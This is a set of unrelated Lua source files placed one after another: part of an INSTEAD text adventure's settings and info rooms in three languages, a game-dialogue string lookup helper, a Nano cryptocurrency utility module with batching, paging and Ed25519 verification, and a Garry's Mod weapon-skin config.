theme.get'win.fnt.size' ~= '10' then p ( fmt.c('{fontsizeminus|Зменшити розмір шрифту}.') ); end; end; if ru then p ( fmt.c('^^Текущий размер шрифта: '..fontsize) ); end; if en then p ( fmt.c('^^Current font size: '..fontsize) ); end; if ua then p ( fmt.c('^^Поточний розмір шрифта: '..fontsize) ); end; if ru then p ( fmt.c('^^{@ walkout|К ИГРЕ!}') ); end; if en then p ( fmt.c('^^{@ walkout|TO GAME!}') ); end; if ua then p ( fmt.c('^^{@ walkout|ДО ГРИ!}') ); end; end; exit = function() weareincontrol = false; bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); createclickonscene(); deletecursors(); deletetraces(); theme.reset 'win.x'; theme.reset 'win.y'; theme.reset 'win.w'; theme.reset 'win.h'; end; obj = {'russian', 'english', 'ukrainian', 'enableeveningmode', 'fontsizeplus', 'fontsizeminus'}; } obj { nam = 'russian'; act = function() setru(); language = 'ru'; p ( fmt.c('^Язык успешно изменен!') ); end; } obj { nam = 'english'; act = function() seten(); language = 'en'; p ( fmt.c('^Language successfully changed!') ); end; } obj { nam = 'ukrainian'; act = function() setua(); language = 'ua'; p ( fmt.c('^Мову успішно змінено!') ); end; } obj { nam = 'enableeveningmode'; act = function() eveningenabled = true; p ( fmt.c('^Теперь наступит вечер. Но если только вы в деревне.') ); end; } obj { nam = 'fontsizeplus'; act = function() fontsizeinc(); end; } obj { nam = 'fontsizeminus'; act = function() fontsizedec(); end; } function fontsizeinc() if theme.get'win.fnt.size' < '25' then fontsize = theme.get'win.fnt.size'+1; end; theme.win.font ("fnt/{sans,sans-b,sans-i,sans-bi}.ttf", fontsize, 1); if ru then if theme.get'win.fnt.size' <= '24' then p ( fmt.c('^Размер шрифта увеличен.') ); end; end; if en then if theme.get'win.fnt.size' <= '24' then p ( fmt.c('^Font size increased.') ); end; end; if ua then if theme.get'win.fnt.size' <= '24' then p ( fmt.c('^Розмір шрифту збільшений.') ); end; end; if ru then if theme.get'win.fnt.size' == '25' then p ( fmt.c('^Куда уж больше?..') ); end; end; if en then if theme.get'win.fnt.size' == '25' then p ( fmt.c('^Much more?..') ); end; end; if ua then if theme.get'win.fnt.size' == '25' then p ( fmt.c('^Куди вже більше?..') ); end; end; fontsize = theme.get'win.fnt.size'; end; function fontsizedec() if theme.get'win.fnt.size' > '10' then fontsize = theme.get'win.fnt.size'-1; end; theme.win.font ("fnt/{sans,sans-b,sans-i,sans-bi}.ttf", fontsize, 1); if ru then if theme.get'win.fnt.size' >= '11' then p ( fmt.c('^Размер шрифта уменьшен.') ); end; end; if en then if theme.get'win.fnt.size' >= '11' then p ( fmt.c('^Font size reduced.') ); end; end; if ua then if theme.get'win.fnt.size' >= '11' then p ( fmt.c('^Розмір шрифту зменшений.') ); end; end; if ru then if theme.get'win.fnt.size' == '10' then p ( fmt.c('^Куда уж меньше?..') ); end; end; if en then if theme.get'win.fnt.size' == '10' then p ( fmt.c('^Far less?..') ); end; end; if ua then if theme.get'win.fnt.size' == '10' then p ( fmt.c('^Куди вже менше?..') ); end; end; fontsize = theme.get'win.fnt.size'; end; room { nam = 'info_room'; disp = false; noinv = true; enter = function() weareincontrol = true; bg_name = 'gfx/bg_info.png' theme.gfx.bg (bg_name) deletebutton(); theme.win.geom (0, 10, 644, 580); end; decor = function() p ( fmt.c('^'..fmt.img('gfx/icon.png')..'^') ); if ru then p ( fmt.c('Лесное приключение^^ Текстографическая игра на движке INSTEAD, квест. ^^Автор - Дмитрий Петрук. В сети я представлен под никами:^ Amberit(92), Artorius, Artomberus.') ); end; if en then p ( fmt.c('Adventure in the forest^^ Textographic game on the INSTEAD engine, quest. ^^The author - Dmitry Petruk. In the network, I am represented under the nicknames:^ Amberit(92), Artorius, Artomberus.') ); end; if ua then p ( fmt.c('Лісова пригода^^ Текстографічна гра на рушії INSTEAD, квест. ^^Автор - Дмитро Петрук. В мережі я представлений під ніками:^ Amberit(92), Artorius, Artomberus.') ); end; if ru then p ( fmt.c('^ Найти меня можно в Telegram: @amberit92') ); end; if en then p ( fmt.c('^ You can find me on Telegram: @amberit92') ); end; if ua then p ( fmt.c('^ Знайти мене можна в Telegram: @amberit92') ); end; if ru then p ( fmt.c('^^ На форуме INSTEAD: ^ {$link|http://instead-games.ru/forum/index.php?p=/profile/artomberus}') ); end; if en then p ( fmt.c('^^ On INSTEAD forum (russian language): ^ {$link|http://instead-games.ru/forum/index.php?p=/profile/artomberus}') ); end; if ua then p ( fmt.c('^^ На форумі INSTEAD (російською): ^ {$link|http://instead-games.ru/forum/index.php?p=/profile/artomberus}') ); end; if ru then p ( fmt.c('^^ Адрес игры на GitHub: ^ {$link|https://github.com/artomberus/adventureintheforest}') ); end; if en then p ( fmt.c('^^ Game adress on GitHub: ^ {$link|https://github.com/artomberus/adventureintheforest}') ); end; if ua then p ( fmt.c('^^ Адреса гри на GitHub: ^ {$link|https://github.com/artomberus/adventureintheforest}') ); end; if ru then p ( fmt.c('^^ Также посмотрите мою галерею фотографий природы: ^ {$link|https://www.deviantart.com/artomberus/gallery/}') ); end; if en then p ( fmt.c('^^ Also see my gallery of nature photos: ^ {$link|https://www.deviantart.com/artomberus/gallery/}') ); end; if ua then p ( fmt.c('^^ Також подивіться мою галерею фотографій природи: ^ {$link|https://www.deviantart.com/artomberus/gallery/}') ); end; if ru then p ( fmt.c('^^ Ещё один мой проект на движке INSTEAD: ^ {$link|http://instead-games.ru/game.php?ID=329}') ); end; if en then p ( fmt.c('^^ Another project of mine on the INSTEAD engine: ^ {$link|http://instead-games.ru/game.php?ID=329}') ); end; if ua then p ( fmt.c('^^ Ще один мій проект на рушії INSTEAD: ^ {$link|http://instead-games.ru/game.php?ID=329}') ); end; if ru then p ( fmt.c('^^Спасибо всем, кто помогал и помогает мне с инстедом и разработкой.^ Позднее я напишу здесь подробно. А теперь...') ); end; if en then p ( fmt.c('^^Thanks to everyone who helped and helps me with INSTEAD and development. ^ Later I will write here in detail. And now...') ); end; if ua then p ( fmt.c('^^Дякую всім, хто допомагав і допомагає мені з інстедом і розробкою. ^ Пізніше я напишу тут докладно. А зараз...') ); end; if ru then p ( fmt.c('^^{@ walkout|К ИГРЕ!}') ); end; if en then p ( fmt.c('^^{@ walkout|TO GAME!}') ); end; if ua then p ( fmt.c('^^{@ walkout|ДО ГРИ!}') ); end; end; exit = function() weareincontrol = false; bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); theme.reset 'win.x'; theme.reset 'win.y'; theme.reset 'win.w'; theme.reset 'win.h'; end; } room { nam = 'stats'; disp = false; noinv = true; enter = function() weareincontrol = true; bg_name = 'gfx/bg_info.png' theme.gfx.bg (bg_name) deletebutton(); theme.win.geom (0, 10, 664, 600); end; decor = function() p ( fmt.c('^'..fmt.img('gfx/icon.png')..'^') ); if ru then p ( fmt.c('^Итак. Что же ты успел сделать уже?^^') ); end; if ru and touchedkey then p ( fmt.c('Посветил фонариком и нашел ключ.') ); end; if ru and touchedtopor then p ( fmt.c('Нашел топор.') ); end; if ru and openedwithkey then p ( fmt.c('Открыл дверь ключом.') ); end; if ru and brokenwithtopor then p ( fmt.c('Сломал дверь топором.') ); end; if ru and havelopata then p ( fmt.c('^Взял лопату в хижине.') ); end; if ru and haveudochka then p ( fmt.c('Взял удочку в хижине.') ); end; if ru and havevedro then p ( fmt.c('Взял ведро в хижине.') ); end; if ru then p ( fmt.c('^^{@ walkout|К ИГРЕ!}') ); end; if en then p ( fmt.c('^^{@ walkout|TO GAME!}') ); end; if ua then p ( fmt.c('^^{@ walkout|ДО ГРИ!}') ); end; end; exit = function() weareincontrol = false; bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); theme.reset 'win.x'; theme.reset 'win.y'; theme.reset 'win.w'; theme.reset 'win.h'; end; } function keys:filter(press, key) -- код для того, чтобы узнавать коды клавиш return press -- if key == 'up' or key == 'down' or key == 'left' or key == 'right' or key == 'return' or key == 'space' or key == 'o' or --key == 'k' or key == 'i' then return press -- end end; game.onkey = function(s, press, key) if not passedintro and key == 'up' and ualangimage ~= "gfx/ukrainian_selected.png" and rulangimage ~= "gfx/russian_selected.png" and enlangimage ~= "gfx/english_selected.png" then ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end; -- если не выбрали, и жмем вверх if not passedintro and key == 'down' and rulangimage ~= "gfx/russian_selected.png" and enlangimage ~= "gfx/english_selected.png" and ualangimage ~= "gfx/ukrainian_selected.png" then rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end; -- если не выбрали, и жмем вниз if not passedintro and key == 'up' and rulangimage == "gfx/russian_selected.png" then rulangimage = "gfx/russian.png"; ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end; if not passedintro and key == 'up' and enlangimage == "gfx/english_selected.png" then enlangimage = "gfx/english.png"; rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end; if not passedintro and key == 'up' and ualangimage == "gfx/ukrainian_selected.png" then ualangimage = "gfx/ukrainian.png"; enlangimage = "gfx/english_selected.png"; seten(); clickmute = true; walk('main') return end; if not passedintro and key == 'down' and ualangimage == "gfx/ukrainian_selected.png" then ualangimage = "gfx/ukrainian.png"; rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end; if not passedintro and key == 'down' and enlangimage == "gfx/english_selected.png" then enlangimage = "gfx/english.png"; ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end; if not passedintro and key == 'down' and rulangimage == "gfx/russian_selected.png" then rulangimage = "gfx/russian.png"; enlangimage = "gfx/english_selected.png"; seten(); clickmute = true; walk('main') return end; if not passedintro and key == 'left' and ualangimage ~= "gfx/ukrainian_selected.png" and rulangimage ~= "gfx/russian_selected.png" and enlangimage ~= "gfx/english_selected.png" then ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end; -- если не выбрали, и жмем влево if not passedintro and key == 'right' and rulangimage ~= "gfx/russian_selected.png" and enlangimage ~= "gfx/english_selected.png" and ualangimage ~= "gfx/ukrainian_selected.png" then rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end; -- если не выбрали, и жмем вправо if not passedintro and key == 'left' and rulangimage == "gfx/russian_selected.png" then rulangimage = "gfx/russian.png"; ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end; if not passedintro and key == 'left' and ualangimage == "gfx/ukrainian_selected.png" then ualangimage = "gfx/ukrainian.png"; enlangimage = "gfx/english_selected.png"; seten(); clickmute = true; walk('main') return end; if not passedintro and key == 'left' and enlangimage == "gfx/english_selected.png" then enlangimage = "gfx/english.png"; rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end; if not passedintro and key == 'right' and rulangimage == "gfx/russian_selected.png" then rulangimage = "gfx/russian.png"; enlangimage = "gfx/english_selected.png"; seten(); clickmute = true; walk('main') return end; if not passedintro and key == 'right' and ualangimage == "gfx/ukrainian_selected.png" then ualangimage = "gfx/ukrainian.png"; rulangimage = "gfx/russian_selected.png"; setru(); clickmute = true; walk('main') return end; if not passedintro and key == 'right' and enlangimage == "gfx/english_selected.png" then enlangimage = "gfx/english.png"; ualangimage = "gfx/ukrainian_selected.png"; setua(); clickmute = true; walk('main') return end; if not passedintro and key == 'return' then walk('start') return end; if not passedintro and key == 'space' then walk('start') return end; -- p("Нажата: ", key); if passedintro and key == 'i' and not infobarshow and not weareincontrol then walkin('info_room'); return end; if passedintro and key == 'o' and not infobarshow and not weareincontrol then walkin('control_room'); return end; if passedintro and key == 'k' and not infobarshow then instead.fading = false; deleteclickonscene(); fadingcanbe = false; createinfobar(); theme.gfx.bg (bg_name) return okay(); end; if passedintro and key == 'k' and infobarshow then deleteinfobar(); theme.gfx.bg (bg_name) createclickonscene(); fadingcanbe = true; repeatplease = true; return std.nop() end; if passedintro and press and infobarshow then deleteinfobar(); theme.gfx.bg (bg_name) createclickonscene(); fadingcanbe = true; repeatplease = true; return std.nop() end; if weareincontrol and key == 'escape' then walk( from() ) return end; if key == 'r' then if ru == false then langchanged = true else langchanged = false end; setru(); rulangimage = "gfx/russian_selected.png"; enlangimage = "gfx/english.png"; ualangimage = "gfx/ukrainian.png"; if here() ~= 'main' then if langchanged then temphide = true setstatword() walk( here() ) temphide = false else if seen('dub', here() ) then std.nop() walk( here() ) end; end; end; if firststart then walk(here()) end; return end; if key == 'e' then if en == false then langchanged = true else langchanged = false end; seten(); enlangimage = "gfx/english_selected.png"; rulangimage = "gfx/russian.png"; ualangimage = "gfx/ukrainian.png"; if here() ~= 'main' then if langchanged then temphide = true setstatword() walk( here() ) temphide = false else if seen('dub', here() ) then std.nop() walk( here() ) end; end; end; if firststart then walk(here()) end; return end; if key == 'u' then if ua == false then langchanged = true else langchanged = false end; setua(); ualangimage = "gfx/ukrainian_selected.png"; rulangimage = "gfx/russian.png"; enlangimage = "gfx/english.png"; if here() ~= 'main' then if langchanged then temphide = true setstatword() walk( here() ) temphide = false else if seen('dub', here() ) then std.nop() walk( here() ) end; end; end; if firststart then walk(here()) end; return end; if passedintro and key == '-' then if clickonscene_y >= 26 then fontsizedec() clickonscene_y = clickonscene_y-1.5 deleteclickonscene() createclickonscene() theme.gfx.bg (bg_name) end; return end; if passedintro and key == '=' then if clickonscene_y <= 45.5 then fontsizeinc() clickonscene_y = clickonscene_y+1.5 deleteclickonscene() createclickonscene() theme.gfx.bg (bg_name) end; return end; if not passedintro and not key == 'o' and not key == 'k' and not key == 'i' and not key == 'r' and not key == 'e' and not key == 'u' and not key == 'escape' and not key == '-' and not key == '=' then return true else return false end; end; okay = function() -- заморозить сцену и перейти ещё раз std.nop(); walk ( here() ); end;
local function getcharacterstring(tab, item, modifier) if modifier then modifier = string.upper(modifier) end if tab then local topic_tab = tab[item] if topic_tab then if type(topic_tab) == "string" then return topic_tab elseif type(topic_tab) == "table" then if modifier and topic_tab[modifier] then return topic_tab[modifier] end if topic_tab['GENERIC'] then return topic_tab['GENERIC'] end if #topic_tab > 0 then return topic_tab[math.random(#topic_tab)] end end end end end function GetGenderStrings(charactername) if table.contains(CHARACTER_GENDERS.MALE, charactername) then return "MALE" elseif table.contains(CHARACTER_GENDERS.FEMALE, charactername) then return "FEMALE" elseif table.contains(CHARACTER_GENDERS.ROBOT, charactername) then return "ROBOT" else return "MALE" end end function GetSpecialCharacterString(character) character = string.lower(character) if character == "wilton" then local sayings = { "Ehhhhhhhhhhhhhh.", "Eeeeeeeeeeeer.", "Rattle.", "click click click click", "Hissss!", "Aaaaaaaaa.", "mooooooooooooaaaaan.", "...", } return sayings[math.random(#sayings)] elseif character == "wes" then return "" end end function GetString(character, stringtype, modifier) character = character and string.upper(character) stringtype = stringtype and string.upper(stringtype) modifier = modifier and string.upper(modifier) local ret = GetSpecialCharacterString(character) or getcharacterstring(STRINGS.CHARACTERS[character], stringtype, modifier) or getcharacterstring(STRINGS.CHARACTERS["GENERIC"], stringtype, modifier) if ret then return ret end return "UNKNOWN STRING: "..( character or "") .." ".. (stringtype or "") .." ".. (modifier or "") end function GetActionString(action, modifier) return getcharacterstring(STRINGS.ACTIONS, action, modifier) or "ACTION" end function GetDescription(character, item, modifier) character = character and string.upper(character) local itemname = item.components.inspectable.nameoverride or item.prefab itemname = itemname and string.upper(itemname) modifier = modifier and string.upper(modifier) local ret = GetSpecialCharacterString(character) if not ret then if STRINGS.CHARACTERS[character] then ret = getcharacterstring(STRINGS.CHARACTERS[character].DESCRIBE, itemname, modifier) end if not ret and STRINGS.CHARACTERS.GENERIC then ret = getcharacterstring(STRINGS.CHARACTERS.GENERIC.DESCRIBE, itemname, modifier) end if not ret then ret = STRINGS.CHARACTERS.GENERIC.DESCRIBE_GENERIC end end if ret and item and item.components.repairable and item.components.repairable:NeedsRepairs() and item.components.repairable.announcecanfix then local repair = nil if STRINGS.CHARACTERS[character] and STRINGS.CHARACTERS[character].DESCRIBE then repair = getcharacterstring(STRINGS.CHARACTERS[character], "ANNOUNCE_CANFIX", modifier) end if not repair and STRINGS.CHARACTERS.GENERIC then repair = getcharacterstring(STRINGS.CHARACTERS.GENERIC, "ANNOUNCE_CANFIX", modifier) end if repair then ret = ret..repair end end return ret end function GetActionFailString(character, action, reason) local ret = nil local ret = GetSpecialCharacterString(character) if ret then return ret end if STRINGS.CHARACTERS[character] then ret = getcharacterstring(STRINGS.CHARACTERS[character].ACTIONFAIL, action, reason) end if not ret then ret = getcharacterstring(STRINGS.CHARACTERS.GENERIC.ACTIONFAIL, action, reason) end if ret then return ret end return STRINGS.CHARACTERS.GENERIC.ACTIONFAIL_GENERIC end
local cutil = require "prailude.util.lowlevel" local crypto = require "prailude.util.crypto" local timer = require "prailude.util.timer" local coroutine_util = require "prailude.util.coroutine" local parser = require "prailude.util.parser" local balance = require "prailude.util.balance" local blake2b_init, blake2b_update, blake2b_final = crypto.blake2b_init, crypto.blake2b_update, crypto.blake2b_finalize local blake2b_hash = crypto.blake2b_hash local unpack_account_with_checksum = cutil.unpack_account_with_checksum local pack_account_with_checksum = cutil.pack_account_with_checksum local util = {} do local batchsink_mt = {__index={ add = function(self, data) local add_filter = rawget(self, "add_filter") if add_filter then data = add_filter(data) if data == nil then return self end end table.insert(self.batch, data) if self:full() then return self:consume() end return self end, full = function(self) return #(rawget(self, "batch")) >= self.batch_size end, finish = function(self) return self:consume() end, consume = function(self) self.__consume(self.batch) self:clear() return self end, clear = function(self) rawset(self, "batch", {}) end, batch_size = 10000 }} function util.BatchSink(opt, fn) if type(fn)=="function" and type(opt)=="number" then opt={consume=fn, batch_size=opt} end return setmetatable({ __consume = opt.consume, batch_size = opt.batch_size, add_filter = opt.add_filter, batch = {}, }, batchsink_mt) end end do local batchsource_mt = {__index = { next = function(self) local batch = self.batch local n = rawget(self, "__batch_n") if n >= #batch then local total_n = rawget(self, "__total_n") + n batch = self.__produce(total_n) or {} rawset(self, "__total_n", total_n) n = 1 self.batch = batch else n = n+1 end rawset(self, "__batch_n", n) return rawget(batch, n) end, each = function(self) return function() return self:next() end end }} function util.BatchSource(opt) if type(opt) == "function" then opt = {produce = opt} end return setmetatable( { __produce = opt.produce, __batch_n = 0, __total_n = 0, batch = {}, }, batchsource_mt) end end local PageQueue; do -- load_page(queue_id, page_id); BlockWalker.pop_page(self.walk_id, self.page_id) -- store_page(queue_id, page_id, data) -- store_item(item, page_state) -- stored_page_size(queue_id, page_id) -- page_id local Page_meta = {__index = { change_state = function(self, new_state) local state = self.state if state == new_state then return self --nothing to do end if state == "stored" then -- must at least load from storage local data = self.load_page(self.queue_id, self.id) assert(type(data)=="table", "load_page gave a bad result") self.data = data end if new_state == "idle" and state == "stored" then self.state = new_state return self -- we're done here elseif new_state == "active" and (state == "idle" or state == "stored") then local store_item, data = self.store_item, self.data for i, item in ipairs(data) do item = store_item(item, "active") assert(item ~= nil, "store_item gave a nil result") rawset(data, i, item) end self.first, self.last = 1, #self.data end if (new_state == "idle" or new_state == "stored") and state == "active" then --idle pages only store compressed data local store_item, data, newdata = self.store_item, self.data, {} if data then for i=self.first, self.last do local item = store_item(data[i], "idle") assert(item ~= nil, "store_item gave a nil result") table.insert(newdata, item) end end self.data, self.first, self.last = newdata, nil, nil end if new_state == "stored" then self.store_page(self.queue_id, self.id, self.data) self.data = nil end self.state = new_state return self end, append = function(self, ...) return self:add(...) end, add = function(self, item) local state = self.state item = self.store_item(item, state) local data = self.data if not data then data = {} self.data = data end if state == "active" then local last = (rawget(self,"last") or 0) + 1 rawset(data, last, item) rawset(self, "last", last) if not self.first then self.first = last end return true elseif state == "idle" then table.insert(data, item) else error("can't add block to " .. tostring(state) .. " page") end return true end, prepend = function(self, item) local state = self.state assert(state == "active", "can only prepend to active pages") item = self.store_item(item, state) local data = self.data if not data then data = {} self.data = data end local first = (rawget(self,"first") or 0) - 1 rawset(data, first, item) rawset(self, "first", first) if not self.last then self.last = first end return true end, next = function(self) assert(self.state == "active") local data = self.data local first, last = self.first, self.last if not data or not first or not last or first > last then return nil, "empty" end local ret = data[first] data[first] = nil self.first = first + 1 return ret end, debug_each = function(self, callback) if self.state == "active" then for i=self.first, self.last do callback(self.data[i], "active") end elseif self.state == "idle" then for _, item in ipairs(self.data) do callback(item, "idle") end elseif self.state == "stored" then self:change_state("idle") self:debug_each(callback) self:change_state("stored") else error("unexpected page state " .. tostring(self.state)) end end, count = function(self) if self.state == "active" then if self.data then return self.last - self.first + 1 else return 0 end elseif self.state == "idle" then local data = self.data return data and #data or 0 else return self.stored_page_size(self.queue_id, self.id) end end, }} local function Page(queue_id, page_id, data_handlers, state) return setmetatable({ queue_id = queue_id, id = page_id, store_item = data_handlers.store_item, store_page = data_handlers.store_page, load_page = data_handlers.load_page, stored_page_size = data_handlers.stored_page_size, state=state }, Page_meta) end local PageQueue_meta = {__index = { pagesize = 5000, add = function(self, item) local lastpage = self.last_page or self:add_page() if lastpage:count() < self.pagesize then return lastpage:add(item) else self:add_page() return self:add(item) end end, append = function(self, ...) return self:add(...) end, prepend = function(self, item) local firstpage = self.first_page or self:add_page() if firstpage:count() < self.pagesize then return firstpage:prepend(item) else self:prepend_page() return self:prepend(item) end end, add_page = function(self) local next_page_id = self.next_page_id or 0 self.next_page_id = next_page_id + 1 local page if self.first_page == nil then page = Page(self.id, next_page_id, self.data_handlers, "active") self.first_page = page else if self.last_page ~= self.first_page then self.last_page:change_state("stored") end page = assert(Page(self.id, next_page_id, self.data_handlers, "idle")) end table.insert(self.pages, page) self.last_page = page return page end, prepend_page = function(self) if self.first_page == nil then return self:add_page() --equivalent to appending page end --print("prepend_page",self.first_page, #self.pages, self.first_page:count()) local next_page_id = self.next_page_id or 0 self.next_page_id = next_page_id + 1 local newpage = Page(self.id, next_page_id, self.data_handlers, "active") table.insert(self.pages, 1, newpage) --previously first page (self.pages[2]) should remain active, it might get consumed pretty soon local thirdpage = self.pages[3] if thirdpage and thirdpage ~= self.last_page and thirdpage.state ~= "stored" then thirdpage:change_state("idle") thirdpage:change_state("stored") end self.first_page = newpage return self end, next_page = function(self) local removed = table.remove(self.pages, 1) -- remove old first active page if self.last_page == removed then self.last_page = nil end local new_first_page = self.pages[1] self.first_page = new_first_page if new_first_page then new_first_page:change_state("active") return new_first_page end end, next = function(self) local firstpage = self.first_page if firstpage == nil then return nil else local ret = firstpage:next() if not ret then self:next_page() return self:next() else return ret end end end, each = function(self) return function() return self:next() end end, count = function(self) local n = 0 for _, page in ipairs(self.pages) do n = n + page:count() end return n end, debug_each = function(self, callback) for _, page in ipairs(self.pages) do page:debug_each(callback) end end, debug_print = function(self) local n, item_tostring = 0, self.data_handlers.item_tostring local callback = function(item, status) n = n + 1 print(("%4i: %s"):format(n, item_tostring(item, status))) end return self:debug_each(callback) end }} function PageQueue(opt) local pq = { pages = {}, pagesize = opt.pagesize, id = assert(opt.id, "id missing"), data_handlers = { store_item = assert(opt.store_item, "store_item missing"), store_page = assert(opt.store_page, "store_page missing"), load_page = assert(opt.load_page, "load_page missing"), stored_page_size = assert(opt.stored_page_size, "stored_page_size missing"), item_tostring = opt.item_tostring or tostring } } assert(pq.id, "PageQueue ID required") pq = setmetatable(pq, PageQueue_meta) pq:add_page() return pq end end util.PageQueue = PageQueue local MAX_BATCH_SIZE = 64 local Ed25519Batch = { interval = 250, --ms batch = {}, timer = nil } util.Cache = function(mode) if mode == "off" then return { get = function() return nil end, set = function(_, _, val) return val end, clear = function() end, cache = {} } elseif mode == "weak" then --done this way instead of a function lookup index for efficiency local cache local obj = { get = function(_, id) return rawget(cache, id) end, set = function(_, id, value) rawset(cache, id, value) return value end, clear = function() cache = setmetatable({}, {__mode="v"}) end, cache = cache, } obj:clear() return obj elseif not mode then error("missing cache mode") else error("unknown cache mode " .. tostring(mode)) end end function Ed25519Batch.add(msg, sig, pubkey, coro) local batch = Ed25519Batch.batch assert(#batch < MAX_BATCH_SIZE) table.insert(batch, {msg, sig, pubkey, coro}) if #batch == MAX_BATCH_SIZE then print("do a batch right now") Ed25519Batch.batch = {} local all_valid = crypto.edDSA_blake2b_batch_verify(#batch, batch) if all_valid then for i=1, MAX_BATCH_SIZE-1 do coroutine_util.resume(batch[i][4], true) end --now the last coroutine return true else local b for i=1, MAX_BATCH_SIZE-1 do b = rawget(batch, i) coroutine_util.resume(b[4], b.valid) end --now the last coroutine return batch[MAX_BATCH_SIZE].valid end else if not Ed25519Batch.timer then Ed25519Batch.start_timer() end return coroutine_util.yield() end end function Ed25519Batch.start_timer() Ed25519Batch.timer = timer.interval(Ed25519Batch.interval, function() local batch = Ed25519Batch.batch print("do a batch of size", #batch) if #batch == 0 then Ed25519Batch.timer = nil return false --stops timer else Ed25519Batch.batch = {} local all_valid = crypto.edDSA_blake2b_batch_verify(#batch, batch) for _, b in ipairs(batch) do coroutine_util.resume(b[4], b.valid or all_valid) end end end) end util.timer = timer util.blake2b = { init = blake2b_init, update = blake2b_update, final = blake2b_final, hash = blake2b_hash, } util.work = { verify = crypto.nano_verify_work, verify_test = crypto.nano_verify_work, generate = crypto.nano_generate_work } util.argon2d_hash = crypto.argon2d_nano_hash util.ed25519 = { get_public_key = crypto.edDSA_blake2b_get_public_key, sign = crypto.edDSA_blake2b_sign, verify = crypto.edDSA_blake2b_verify, batch_verify = function(batch) local all_valid = crypto.edDSA_blake2b_batch_verify(#batch, batch) if all_valid then return true else for _, v in pairs(batch) do if rawget(v, "valid") == nil then rawset(v, "valid", true) end end return false end end, delayed_batch_verify = function(msg, sig, pubkey) assert(#sig == 64, "signature length must be 64") assert(#pubkey == 32, "pubkey length must be 32") local coro = assert(coroutine_util.running(), "batch_verify must be called in a coroutine") return Ed25519Batch.add(msg, sig, pubkey, coro) end } util.parser = parser util.unpack_account = function(raw) return unpack_account_with_checksum(raw, blake2b_hash(raw, 5)) end util.pack_account = function(account) if #account ~= 64 then return nil, "invalid account", "wrong length" end local raw, checksum_or_error = pack_account_with_checksum(account) if not raw then return nil, checksum_or_error end if blake2b_hash(raw, 5) ~= checksum_or_error then return nil, "invalid account", "checksum fail" end return raw end util.vanitygen = function(str, center) local not_alphabet_match = "[^13456789abcdefghijkmnopqrstuwxyz]" local map = { [" "] = "1", l = "1", v = "w", ["2"] = "3", ["0"] = "o" } str = str:lower() if #str > 51 then return nil, "string too big" end print("str", str) str = str:gsub(".", map) print("str", str) local badchar = str:match(not_alphabet_match) if badchar then return nil, "character '" .. badchar .. "' not possible in address" end local fill = 51 - #str if not center then str = "xrb_1" .. str .. ("1"):rep(fill) .. "bbbbbbbb" else str = "xrb_1" .. ("1"):rep(math.floor(fill/2)) .. str .. ("1"):rep(math.ceil(fill/2)).."bbbbbbbb" end local raw, err = pack_account_with_checksum(str) if not raw then return nil, err end return unpack_account_with_checksum(raw, blake2b_hash(raw, 5)) end util.bytes_to_hex = cutil.bytes_to_hex util.bytes_to_hex_debug = function(bytes) local hex = cutil.bytes_to_hex(bytes) local n = 0 local out = {""} for byte in hex:gmatch("..") do table.insert(out, byte) n = n+1 if n%16 == 0 then table.insert(out, "\n") elseif n%8 == 0 then table.insert(out, " ") end end return table.concat(out, " ") end util.hex_to_bytes = function(hex) return cutil.hex_to_bytes(hex:upper()) end util.print_hex = cutil.print_hex util.balance = balance util.coroutine = coroutine_util return util
WepSkins.Config.Weps = {} WepSkins.Config.Weps["cw_ak74"] = 2 WepSkins.Config.Weps["cw_ar15"] = 0 WepSkins.Config.Weps["cw_g3a3"] = 0 WepSkins.Config.Weps["cw_mp5"] = 0 WepSkins.Config.Weps["cw_deagle"] = 0 WepSkins.Config.Weps["cw_l115"] = 2 WepSkins.Config.Weps["cw_mr96"] = 1 WepSkins.Config.Weps["cw_scarh"] = 1 WepSkins.Config.Weps["cw_g18"] = 1 WepSkins.Config.Weps["cw_g36c"] = 1 WepSkins.Config.Weps["cw_ump45"] = 0 WepSkins.Config.Weps["cw_l85a2"] = 3 WepSkins.Config.Weps["cw_m14"] = 1 WepSkins.Config.Weps["cw_m1911"] = 2 WepSkins.Config.Weps["cw_m249_official"] = 0 WepSkins.Config.Weps["cw_m3super90"] = 0 WepSkins.Config.Weps["cw_mac11"] = 0 WepSkins.Config.Weps["cw_p99"] = 2 WepSkins.Config.Weps["cw_makarov"] = 2 WepSkins.Config.Weps["cw_shorty"] = 0 WepSkins.Config.Weps["cw_silverballer"] = 4 WepSkins.Config.Weps["cw_sv98"] = 0 WepSkins.Config.Weps["cw_vss"] = 0 WepSkins.Config.Weps["khr_m60"] = 1 WepSkins.Config.Weps["khr_pkm"] = 2 WepSkins.Config.Weps["khr_ns2000"] = 2 WepSkins.Config.Weps["khr_vector"] = 2 WepSkins.Config.Weps["khr_l2a3"] = 2 WepSkins.Config.Weps["khr_m4a4"] = 0 WepSkins.Config.Weps["khr_m95"] = 3 WepSkins.Config.Weps["khr_m82a3"] = 1 WepSkins.Config.Weps["khr_deagle"] = 0 WepSkins.Config.Weps["khr_rugermk3"] = 0 WepSkins.Config.Weps["cw_thompson"] = 2 -- Client side skins: WepSkins.Config.ClientWorldModels = {} WepSkins.Config.ClientWorldModels["cw_m249_official"] = true WepSkins.Config.ClientWorldModels["cw_m3super90"] = true WepSkins.Config.ClientWorldModels["cw_l115"] = true WepSkins.Config.ClientWorldModels["cw_shorty"] = true WepSkins.Config.ClientWorldModels["cw_l85a2"] = true WepSkins.Config.ClientWorldModels["cw_scarh"] = true WepSkins.Config.ClientWorldModels["cw_vss"] = true WepSkins.Config.ClientWorldModels["cw_mac11"] = true WepSkins.Config.ClientWorldModels["cw_makarov"] = true WepSkins.Config.ClientWorldModels["cw_m1911"] = true WepSkins.Config.ClientWorldModels["cw_thompson"] = true WepSkins.Config.ClientWorldModels["cw_m14"] = true 